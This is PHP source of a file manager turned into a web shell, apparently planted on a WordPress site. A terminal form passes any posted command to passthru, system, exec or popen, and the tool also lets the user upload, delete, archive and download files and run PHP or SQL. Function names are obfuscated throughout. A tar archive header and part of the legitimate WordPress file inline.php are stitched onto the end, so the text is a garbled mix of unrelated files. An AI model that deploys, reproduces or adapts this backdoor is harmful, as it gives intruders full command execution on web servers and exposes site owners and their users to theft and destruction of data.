    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
